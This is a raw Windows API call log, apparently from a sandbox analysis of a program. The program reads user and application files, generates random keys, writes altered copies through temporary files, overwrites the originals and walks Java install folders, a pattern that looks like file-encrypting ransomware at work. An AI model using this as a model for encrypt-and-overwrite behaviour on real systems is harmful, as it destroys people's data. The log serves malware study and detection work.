	[0242.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0242.965] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0003e9bf4 | out: lpMode=0xc0003e9bf4) returned 0
	[0242.965] GetFileType (hFile=0x120) returned 0x1
	[0242.965] GetFileType (hFile=0x120) returned 0x1
	[0242.965] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0003e9c44 | out: lpFileInformation=0xc0003e9c44) returned 1
	[0242.965] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0003e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0003e9c28) returned 1
	[0242.965] ReadFile (in: hFile=0x120, lpBuffer=0xc000106000, nNumberOfBytesToRead=0xc128, lpNumberOfBytesRead=0xc0003e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0003e9b04*=0xbf28, lpOverlapped=0x0) returned 1
	[0243.006] ReadFile (in: hFile=0x120, lpBuffer=0xc000111f28, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0003e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000111f28*, lpNumberOfBytesRead=0xc0003e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.006] CloseHandle (hObject=0x120) returned 1
	[0243.007] VirtualAlloc (lpAddress=0xc00047c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00047c000
	[0243.008] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e320 | out: pbBuffer=0xc00000e320) returned 1
	[0243.008] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000100c0 | out: pbBuffer=0xc0000100c0) returned 1
	[0243.008] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c101 | out: pbBuffer=0xc00023c101) returned 1
	[0243.008] VirtualAlloc (lpAddress=0xc00047e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00047e000
	[0243.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78b9ad6d10168853df574928c18caef9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78b9ad6d10168853df574928c18caef9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0243.120] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000275c04 | out: lpMode=0xc000275c04) returned 0
	[0243.120] GetFileType (hFile=0x120) returned 0x1
	[0243.120] WriteFile (in: hFile=0x120, lpBuffer=0xc00019c000*, nNumberOfBytesToWrite=0xc028, lpNumberOfBytesWritten=0xc000275bec, lpOverlapped=0x0 | out: lpBuffer=0xc00019c000*, lpNumberOfBytesWritten=0xc000275bec*=0xc028, lpOverlapped=0x0) returned 1
	[0243.127] CloseHandle (hObject=0x120) returned 1
	[0243.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi\\*", lpFindFileData=0xc000275a78 | out: lpFindFileData=0xc000275a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.152] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\78b9ad6d10168853df574928c18caef9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\78b9ad6d10168853df574928c18caef9")) returned 1
	[0243.218] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0) returned 0
	[0243.219] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0) returned 0
	[0243.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0243.219] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000275bf4 | out: lpMode=0xc000275bf4) returned 0
	[0243.219] GetFileType (hFile=0x19c) returned 0x1
	[0243.219] GetFileType (hFile=0x19c) returned 0x1
	[0243.219] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000275c44 | out: lpFileInformation=0xc000275c44) returned 1
	[0243.219] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000275c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000275c28) returned 1
	[0243.220] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0243.220] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0243.220] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0243.220] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ea000
	[0243.220] VirtualAlloc (lpAddress=0xc0003f7000, dwSize=0x27000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0243.220] VirtualAlloc (lpAddress=0xc0003f7000, dwSize=0x13000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0243.220] VirtualAlloc (lpAddress=0xc0003f7000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f7000
	[0243.221] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000
	[0243.228] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003ea000, nNumberOfBytesToRead=0x33018, lpNumberOfBytesRead=0xc000275b04, lpOverlapped=0x0 | out: lpBuffer=0xc0003ea000*, lpNumberOfBytesRead=0xc000275b04*=0x32e18, lpOverlapped=0x0) returned 1
	[0243.246] ReadFile (in: hFile=0x19c, lpBuffer=0xc00041ce18, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000275b04, lpOverlapped=0x0 | out: lpBuffer=0xc00041ce18*, lpNumberOfBytesRead=0xc000275b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.247] CloseHandle (hObject=0x19c) returned 1
	[0243.247] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002022a0 | out: pbBuffer=0xc0002022a0) returned 1
	[0243.247] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c190 | out: pbBuffer=0xc00028c190) returned 1
	[0243.247] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8301 | out: pbBuffer=0xc0002a8301) returned 1
	[0243.248] VirtualAlloc (lpAddress=0xc000480000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000480000
	[0243.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9c051818229f7c1cb88ffe93aa4a0c60" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9c051818229f7c1cb88ffe93aa4a0c60"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0243.312] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000275c04 | out: lpMode=0xc000275c04) returned 0
	[0243.312] GetFileType (hFile=0x120) returned 0x1
	[0243.312] VirtualFree (lpAddress=0xc000670000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.312] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0244.387] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0) returned 0
	[0244.387] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0) returned 0
	[0244.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0244.388] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c9bf4 | out: lpMode=0xc0000c9bf4) returned 0
	[0244.388] GetFileType (hFile=0x1a8) returned 0x1
	[0244.388] GetFileType (hFile=0x1a8) returned 0x1
	[0244.388] GetFileInformationByHandle (in: hFile=0x1a8, lpFileInformation=0xc0000c9c44 | out: lpFileInformation=0xc0000c9c44) returned 1
	[0244.388] GetFileInformationByHandleEx (in: hFile=0x1a8, FileInformationClass=0x9, lpFileInformation=0xc0000c9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c9c28) returned 1
	[0244.388] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ac000, nNumberOfBytesToRead=0x5bb, lpNumberOfBytesRead=0xc0000c9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ac000*, lpNumberOfBytesRead=0xc0000c9b04*=0x3bb, lpOverlapped=0x0) returned 1
	[0244.390] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ac3bb, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ac3bb*, lpNumberOfBytesRead=0xc0000c9b04*=0x0, lpOverlapped=0x0) returned 1
	[0244.391] CloseHandle (hObject=0x1a8) returned 1
	[0244.391] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202400 | out: pbBuffer=0xc000202400) returned 1
	[0244.391] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000943f0 | out: pbBuffer=0xc0000943f0) returned 1
	[0244.391] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8901 | out: pbBuffer=0xc0002a8901) returned 1
	[0244.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8
	[0244.392] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c9c04 | out: lpMode=0xc0000c9c04) returned 0
	[0244.392] GetFileType (hFile=0x1a8) returned 0x1
	[0244.392] WriteFile (in: hFile=0x1a8, lpBuffer=0xc0001b0000*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0xc0000c9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001b0000*, lpNumberOfBytesWritten=0xc0000c9bec*=0x4bb, lpOverlapped=0x0) returned 1
	[0244.393] CloseHandle (hObject=0x1a8) returned 1
	[0244.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8
	[0244.503] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c9d74 | out: lpMode=0xc0000c9d74) returned 0
	[0244.504] GetFileType (hFile=0x1a8) returned 0x1
	[0244.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0244.504] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c9d74 | out: lpMode=0xc0000c9d74) returned 0
	[0244.504] GetFileType (hFile=0x1ac) returned 0x1
	[0244.504] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00016c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00016c000*, lpNumberOfBytesRead=0xc0000c9bd4*=0x4bb, lpOverlapped=0x0) returned 1
	[0244.504] WriteFile (in: hFile=0x1a8, lpBuffer=0xc00016c000*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0xc0000c9b74, lpOverlapped=0x0 | out: lpBuffer=0xc00016c000*, lpNumberOfBytesWritten=0xc0000c9b74*=0x4bb, lpOverlapped=0x0) returned 1
	[0244.506] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00016c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00016c000*, lpNumberOfBytesRead=0xc0000c9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0244.506] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16")) returned 0
	[0244.506] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16")) returned 0
	[0244.506] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16")) returned 0x20
	[0244.507] CloseHandle (hObject=0x1ac) returned 1
	[0244.507] CloseHandle (hObject=0x1a8) returned 1
	[0244.507] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f189b65a7d1724172a798f8894691c16" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f189b65a7d1724172a798f8894691c16")) returned 1
	[0244.509] SetEvent (hEvent=0xe4) returned 1
	[0244.509] VirtualFree (lpAddress=0xc0007d4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.509] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0252.034] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0252.767] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0253.008] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0253.167] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0253.347] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0253.494] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0253.639] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0254.155] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0254.296] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0254.483] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0254.620] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0254.760] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0255.004] SwitchToThread () returned 1
	[0255.039] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0255.058] SetEvent (hEvent=0x190) returned 1
	[0255.058] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0255.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), fInfoLevelId=0x0, lpFileInformation=0xc00020f6b8 | out: lpFileInformation=0xc00020f6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9)) returned 1
	[0256.559] SetEvent (hEvent=0x124) returned 1
	[0256.559] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0) returned 0
	[0256.559] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020f66c, lpOverlapped=0x0) returned 0
	[0256.560] SetEvent (hEvent=0xe4) returned 1
	[0256.560] VirtualAlloc (lpAddress=0xc0001d8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d8000
	[0256.560] VirtualAlloc (lpAddress=0xc000184000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000184000
	[0256.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661)) returned 1
	[0256.573] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0256.573] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0256.574] VirtualAlloc (lpAddress=0xc000186000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000186000
	[0256.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb)) returned 1
	[0256.587] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0256.587] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0256.587] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.305] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.409] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.448] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.490] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.531] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.567] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0257.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58)) returned 1
	[0257.601] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0257.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba)) returned 1
	[0261.792] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0261.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948)) returned 1
	[0261.793] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0261.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0261.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1
